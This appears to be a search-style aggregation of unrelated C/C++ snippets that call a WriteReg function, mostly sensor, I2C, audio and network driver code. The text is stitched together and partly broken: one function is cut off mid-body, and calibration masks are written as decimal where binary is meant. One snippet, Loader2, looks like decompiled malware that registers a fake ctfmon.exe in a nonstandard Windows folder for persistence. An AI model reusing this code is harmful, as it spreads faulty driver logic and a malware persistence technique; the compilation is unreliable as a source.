/*******************************************************************************
* Function Name : HPFAOI2
* Description : Enable/Disable High Pass Filter for AOI on INT_2
* Input : MEMS_ENABLE/MEMS_DISABLE
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t HPFAOI2Enable(State_t hpfe) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG2_A, &value) )
return MEMS_ERROR;
value &= 0xFD;
value |= (hpfe<<HPIS2);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG2_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetHPFMode
* Description : Set High Pass Filter Modality
* Input : HPM_NORMAL_MODE_RES/HPM_REF_SIGNAL/HPM_NORMAL_MODE/HPM_AUTORESET_INT
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetHPFMode(HPFMode_t hpm) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG2_A, &value) )
return MEMS_ERROR;
value &= 0x3F;
value |= (hpm<<HPM);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG2_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetBLE
* Description : Set Endianess (MSB/LSB)
* Input : BLE_LSB / BLE_MSB
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetBLE(Endianess_t ble) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG4_A, &value) )
return MEMS_ERROR;
value &= 0xBF;
value |= (ble<<BLE);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG4_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetSelfTest
* Description : Set Self Test Modality
* Input : SELF_TEST_DISABLE/ST_0/ST_1
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetSelfTest(SelfTest_t st) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG4_A, &value) )
return MEMS_ERROR;
value &= 0xF9;
value |= (st<<ST);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG4_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetFullScale
* Description : Sets the LSM303DLHC FullScale
* Input : FULLSCALE_2/FULLSCALE_4/FULLSCALE_8/FULLSCALE_16
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetFullScale(Fullscale_t fs) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG4_A, &value) )
return MEMS_ERROR;
value &= 0xCF;
value |= (fs<<FS);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG4_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetBDU
* Description : Enable/Disable Block Data Update Functionality
* Input : ENABLE/DISABLE
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetBDU(State_t bdu) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG4_A, &value) )
return MEMS_ERROR;
value &= 0x7F;
value |= (bdu<<BDU);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG4_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetGainMag
* Description : Sets LSM303DLHC Magnetometer Gain
* Input : GAIN_1100_M or GAIN_855_M or GAIN_670_M or GAIN_450_M....
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetGainMag(GAIN_M_t Gain){
u8_t value;
if( !ReadReg(MAG_I2C_ADDRESS, CRB_REG_M, &value) )
return MEMS_ERROR;
value &= 0x00; //bit<4-0> must be =0 for correct working
value |= Gain<<GN_CFG;
if( !WriteReg(MAG_I2C_ADDRESS, CRB_REG_M, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetModeMag
* Description : Sets LSM303DLHC Magnetometer Modality
* Input : Modality (CONTINUOUS_MODE, or SINGLE_MODE, or SLEEP_MODE)
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetModeMag(Mode_M_t Mode){
u8_t value;
if( !ReadReg(MAG_I2C_ADDRESS, MR_REG_M, &value) )
return MEMS_ERROR;
value &= 0x00; //bit<7-3> must be =0 for correct working
value |= Mode<<MODE_SEL_M;
if( !WriteReg(MAG_I2C_ADDRESS, MR_REG_M, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetODR_M
* Description : Sets LSM303DLHC Output Data Rate Magnetometer
* Input : Output Data Rate
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetODR_M(ODR_M_t ov){
u8_t value;
if( !ReadReg(MAG_I2C_ADDRESS, CRA_REG_M, &value) )
return MEMS_ERROR;
value &= 0x80; //bit<6,5,1,0> must be =0 for correct working
value |= ov<<ODR_M;
if( !WriteReg(MAG_I2C_ADDRESS, CRA_REG_M, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetTemperature
* Description : Sets LSM303DLHC Output Temperature
* Input : MEMS_ENABLE, MEMS_DISABLE
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetTemperature(State_t state){
u8_t value;
if( !ReadReg(MAG_I2C_ADDRESS, CRA_REG_M, &value) )
return MEMS_ERROR;
value &= 0x7F;
value |= state<<TEMP_EN;
if( !WriteReg(MAG_I2C_ADDRESS, CRA_REG_M, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetTriggerInt
* Description : Trigger event liked to trigger signal INT1/INT2
* Input : TRIG_INT1/TRIG_INT2
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetTriggerInt(TrigInt_t tr) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, FIFO_CTRL_REG_A, &value) )
return MEMS_ERROR;
value &= 0xDF;
value |= (tr<<TR);
if( !WriteReg(ACC_I2C_ADDRESS, FIFO_CTRL_REG_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
void TimerCallback(void *data)
{
struct timer_data *timer_data = data;
int delay;
if (!timer_data->running)
{
return;
}
// Read data until we must make a delay.
for (;;)
{
int reg, val;
// End of file?
if (feof(timer_data->fstream))
{
timer_data->running = 0;
return;
}
reg = fgetc(timer_data->fstream);
val = fgetc(timer_data->fstream);
// Register value of 0 or 1 indicates a delay.
if (reg == 0x00)
{
delay = val;
break;
}
else if (reg == 0x01)
{
val |= (fgetc(timer_data->fstream) << 8);
delay = val;
break;
}
else
{
WriteReg(reg, val);
}
}
// Schedule the next timer callback.
OPL_SetCallback(delay, TimerCallback, timer_data);
}
/*******************************************************************************
* Function Name : SetInt6D4DConfiguration
* Description : 6D, 4D Interrupt Configuration
* Input : INT1_6D_ENABLE, INT1_4D_ENABLE, INT1_6D_4D_DISABLE
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetInt6D4DConfiguration(INT_6D_4D_t ic) {
u8_t value;
u8_t value2;
if( !ReadReg(ACC_I2C_ADDRESS, INT1_CFG_A, &value) )
return MEMS_ERROR;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG5_A, &value2) )
return MEMS_ERROR;
if(ic == INT1_6D_ENABLE){
value &= 0xBF;
value |= (MEMS_ENABLE<<INT_6D);
value2 &= 0xFB;
value2 |= (MEMS_DISABLE<<D4D_INT1);
}
if(ic == INT1_4D_ENABLE){
value &= 0xBF;
value |= (MEMS_ENABLE<<INT_6D);
value2 &= 0xFB;
value2 |= (MEMS_ENABLE<<D4D_INT1);
}
if(ic == INT1_6D_4D_DISABLE){
value &= 0xBF;
value |= (MEMS_DISABLE<<INT_6D);
value2 &= 0xFB;
value2 |= (MEMS_DISABLE<<D4D_INT1);
}
if( !WriteReg(ACC_I2C_ADDRESS, INT1_CFG_A, value) )
return MEMS_ERROR;
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG5_A, value2) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
void MPU9250::read_all(){
char response[21];
int16_t bit_data;
float data;
int i;
//Send I2C command at first
WriteReg(MPUREG_I2C_SLV0_ADDR,AK8963_I2C_ADDR|READ_FLAG); //Set the I2C slave addres of AK8963 and set for read.
WriteReg(MPUREG_I2C_SLV0_REG, AK8963_HXL); //I2C slave 0 register address from where to begin data transfer
WriteReg(MPUREG_I2C_SLV0_CTRL, 0x87); //Read 7 bytes from the magnetometer
//must start your read from AK8963A register 0x03 and read seven bytes so that upon read of ST2 register 0x09 the AK8963A will unlatch the data registers for the next measurement.
//wait(0.001);
ReadRegs(MPUREG_ACCEL_XOUT_H,response,21);
//Get accelerometer value
for(i=0; i<3; i++) {
bit_data = ((int16_t)response[i*2] << 8)|response[i*2+1];
data = (float)bit_data;
accelerometer_data[i] = G_SI * data / acc_divider;
}
//Get temperature
bit_data = ((int16_t)response[i*2] << 8) | response[i*2+1];
data = (float)bit_data;
temperature = ((data - 21) / 333.87) + 21;
//Get gyroscope value
for(i=4; i<7; i++) {
bit_data = ((int16_t)response[i*2] << 8) | response[i*2+1];
data = (float)bit_data;
gyroscope_data[i-4] = (PI / 180) * data / gyro_divider;
}
//Get Magnetometer value
for(i=7; i<10; i++) {
bit_data = ((int16_t)response[i*2+1] << 8) | response[i*2];
data = (float)bit_data;
magnetometer_data[i-7] = data * magnetometer_ASA[i-7];
}
}
unsigned int MPU9250::set_acc_scale(int scale)
{
unsigned int temp_scale;
WriteReg(MPUREG_ACCEL_CONFIG, scale);
switch (scale){
case BITS_FS_2G:
acc_divider=16384;
break;
case BITS_FS_4G:
acc_divider=8192;
break;
case BITS_FS_8G:
acc_divider=4096;
break;
case BITS_FS_16G:
acc_divider=2048;
break;
}
temp_scale=WriteReg(MPUREG_ACCEL_CONFIG|READ_FLAG, 0x00);
switch (temp_scale){
case BITS_FS_2G:
temp_scale=2;
break;
case BITS_FS_4G:
temp_scale=4;
break;
case BITS_FS_8G:
temp_scale=8;
break;
case BITS_FS_16G:
temp_scale=16;
break;
}
return temp_scale;
}
/*******************************************************************************
* Function Name : SetSPIInterface
* Description : Set SPI mode: 3 Wire Interface OR 4 Wire Interface
* Input : SPI_3_WIRE, SPI_4_WIRE
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetSPIInterface(SPIMode_t spi) {
u8_t value;
if( !ReadReg(CTRL_REG4, &value) )
return MEMS_ERROR;
value &= 0xFE;
value |= spi<<SIM;
if( !WriteReg(CTRL_REG4, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetHPFCutOFF
* Description : Set High Pass CUT OFF Freq
* Input : HPFCF_0,HPFCF_1,HPFCF_2... See Table 27 of the datasheet
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetHPFCutOFF(HPFCutOffFreq_t hpf) {
u8_t value;
if( !ReadReg(CTRL_REG2, &value) )
return MEMS_ERROR;
value &= 0xF0;
value |= (hpf<<HPFC0);
if( !WriteReg(CTRL_REG2, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetODR
* Description : Sets LSM303DLHC Output Data Rate Accelerometer
* Input : Output Data Rate
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetODR(ODR_t ov){
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG1_A, &value) )
return MEMS_ERROR;
value &= 0x0f;
//value |= ov<<ODR_BIT;
value |= ov<<4;
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG1_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
/*******************************************************************************
* Function Name : SetFilterDataSel
* Description : Set Filter Data Selection bypassed or sent to FIFO OUT register
* Input : MEMS_SET, MEMS_RESET
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetFilterDataSel(State_t state) {
u8_t value;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG2_A, &value) )
return MEMS_ERROR;
value &= 0xF7;
value |= (state<<FDS);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG2_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
static error_code_t I2C_Config_ClkDivs(lpc17xx_i2c_config_t *config, i2c_clkdiv_t *div) {
error_code_t error = NO_ERROR;
switch (config->i2c_port) {
case I2C0:
error = WriteReg( &(LPC_I2C0->I2SCLH), div->clkH, 0, 15) ;
error |= WriteReg( &(LPC_I2C0->I2SCLL), div->clkL, 0, 15) ;
error |= WriteReg( &(LPC_SC->PCLKSEL0), div->clkdiv, lpc17xx_i2c_map[config->i2c_port].clk_lsb, lpc17xx_i2c_map[config->i2c_port].clk_lsb + 1) ;
break;
case I2C1:
error = WriteReg( &(LPC_I2C1->I2SCLH), div->clkH, 0, 15) ;
error |= WriteReg( &(LPC_I2C1->I2SCLL), div->clkL, 0, 15) ;
error |= WriteReg( &(LPC_SC->PCLKSEL1), div->clkdiv, lpc17xx_i2c_map[config->i2c_port].clk_lsb, lpc17xx_i2c_map[config->i2c_port].clk_lsb + 1) ;
break;
case I2C2:
error = WriteReg( &(LPC_I2C2->I2SCLH), div->clkH, 0, 15) ;
error |= WriteReg( &(LPC_I2C2->I2SCLL), div->clkL, 0, 15) ;
error |= WriteReg( &(LPC_SC->PCLKSEL1), div->clkdiv, lpc17xx_i2c_map[config->i2c_port].clk_lsb, lpc17xx_i2c_map[config->i2c_port].clk_lsb + 1) ;
break;
}
return error;
}
static NvBool WRITE_VERIFY(NvOdmAccelHandle hDevice, NvU8 Reg,NvU8 Val)
{
NvU8 TestVal = 0;
NvBool ret = NV_TRUE;
if (!WriteReg(hDevice, Reg, &Val, 1))
{
NVODMACCELEROMETER_PRINTF(("\n write to Reg[0x%x] val [0x%x]failed",
Reg, Val));
ret = NV_FALSE;
}
if (!ReadReg(hDevice, Reg, &Val, 1))
{
NVODMACCELEROMETER_PRINTF(("\n read after write to Reg[0x%x] val \
[0x%x]failed", Reg, Val));
ret = NV_FALSE;
}
IOReturn CLASS::setMulticastMode( bool enabled )
{
if ( enabled )
{
fRegRFCR |= RFCR_MHEN;
}
else
{
fRegRFCR &= ~RFCR_MHEN;
}
WriteReg(RFCR, fRegRFCR);
DEBUG_LOG("%s: RFCR = 0x%08lx\n", __FUNCTION__, fRegRFCR);
return kIOReturnSuccess;
}
IOReturn CLASS::setPromiscuousMode( bool enabled )
{
if ( enabled )
{
fRegRFCR |= (RFCR_AAM | RFCR_AAU);
}
else
{
fRegRFCR &= ~(RFCR_AAM | RFCR_AAU);
}
WriteReg(RFCR, fRegRFCR);
DEBUG_LOG("%s: RFCR = 0x%08lx\n", __FUNCTION__, fRegRFCR);
return kIOReturnSuccess;
}
BOOL Loader2()
{
// __try
// {
if ( sub_40234B(0) )
{
//__asm int 3
//OutputDebugStringA("sssssss");
CHAR szWindowsPath[MAX_PATH] = {0};
GetWindowsDirectoryA(szWindowsPath, MAX_PATH * sizeof(CHAR));
strcat(szWindowsPath,"\\meed\\ctfmon.exe");
//_asm int 3
WriteReg(szWindowsPath);
DWORD dwExitCode;
GetExitCodeProcess(hProcess,&dwExitCode);
TerminateProcess(hProcess,dwExitCode);
// do
// {
// Sleep(1);
// } while (!TerminateProcess(hProcess,dwExitCode));
// if (hProcess) CloseHandle(hProcess);
//CProcess::KillAllProcessByName(TEXT("regedit.exe"));
Sleep(0x64u);
}
// }
//
// _except(EXCEPTION_EXECUTE_HANDLER)
// {
// return 1;
// }
return 0;
//MoveFileA((LPCSTR)v45, (LPCSTR)v44);
}
BOOL CAutoReg::Save( LPCTSTR pName )
{_STTEX();
BOOL bRet = TRUE;
DWORD size = Size();
LPREGENTRY reg;
for ( DWORD i = 0; i < size; i++ )
{
// Get the settings
reg = (LPREGENTRY)&m_Entrys[ i ];
if ( !WriteReg( pName, reg, m_szComputer ) ) bRet = FALSE;
} // end for
return bRet;
}
void MPU9250::calib_acc()
{
uint8_t response[4];
int temp_scale;
//READ CURRENT ACC SCALE
temp_scale=WriteReg(MPUREG_ACCEL_CONFIG|READ_FLAG, 0x00);
set_acc_scale(BITS_FS_8G);
//ENABLE SELF TEST need modify
//temp_scale=WriteReg(MPUREG_ACCEL_CONFIG, 0x80>>axis);
ReadRegs(MPUREG_SELF_TEST_X,response,4);
calib_data[0]=((response[0]&11100000)>>3)|((response[3]&00110000)>>4);
calib_data[1]=((response[1]&11100000)>>3)|((response[3]&00001100)>>2);
calib_data[2]=((response[2]&11100000)>>3)|((response[3]&00000011));
set_acc_scale(temp_scale);
}
/*******************************************************************************
* Function Name : SetWaterMark
* Description : Sets Watermark Value
* Input : Watermark = [0,31]
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetWaterMark(u8_t wtm) {
u8_t value;
if(wtm > 31)
return MEMS_ERROR;
if( !ReadReg(ACC_I2C_ADDRESS, FIFO_CTRL_REG_A, &value) )
return MEMS_ERROR;
value &= 0xE0;
value |= wtm;
if( !WriteReg(ACC_I2C_ADDRESS, FIFO_CTRL_REG_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
////////////////////////////
// CLEAR ALL REGISTERS
void CameraIo::ClearAllRegisters()
{
// Issue a clear command, so the registers are zeroed out
// This will put the camera in a known state for us.
WriteReg( CameraRegs::CMD_B,
CameraRegs::CMD_B_CLEAR_ALL_BIT);
//clearing the mirror registers
const std::vector<uint16_t> regs = CameraRegs::GetAll();
std::vector<uint16_t>::const_iterator iter;
for( iter = regs.begin(); iter != regs.end(); ++iter )
{
m_RegMirror->Write( (*iter), 0);
}
}
/*2.Read_Write_IPreg: Used to read or write any register of IP.
Read_Write_IPreg(int nRegOffset,DWORD *pdwRegData,BOOL fWrite)
*Called from : BSD.
*Parameters :
nRegOffset:(i/p):Register offset in BYTES.
pdwRegData:(i/p):Pointer to hold register data.
fWrite:(i/p):1=Write,0=Read.
*Flow:
-Check if adapter address is not NULL.
-Check if register offset is valid.
-Depending upon fWrite flag, either read or write data.
-Return.
*/
int Read_Write_IPreg(int nRegOffset,DWORD *pdwRegData,BOOL fWrite)
{
//Check if adapter address is not NULL.
if(!G_ptBaseAddress)
return -EINVAL;
//Check if register offset is valid.
if(nRegOffset > MAX_REG_OFFSET)
return Err_Invalid_RegOffset;
//Read / write data.Since offset is in BYTES while array
//declared in IPRegStruct is DWORD array,divide offset by 4.
if(fWrite)
WriteReg(nRegOffset,*pdwRegData);
else
*pdwRegData = ReadReg(nRegOffset);
return 0;
}
/*******************************************************************************
* Function Name : SetHPFCutOFF
* Description : Set High Pass CUT OFF Freq
* Input : HPFCF [0,3]
* Output : None
* Return : Status [MEMS_ERROR, MEMS_SUCCESS]
*******************************************************************************/
status_t SetHPFCutOFF(HPFCutOffFreq_t hpf) {
u8_t value;
if (hpf > 3)
return MEMS_ERROR;
if( !ReadReg(ACC_I2C_ADDRESS, CTRL_REG2_A, &value) )
return MEMS_ERROR;
value &= 0xCF;
value |= (hpf<<HPCF);
if( !WriteReg(ACC_I2C_ADDRESS, CTRL_REG2_A, value) )
return MEMS_ERROR;
return MEMS_SUCCESS;
}
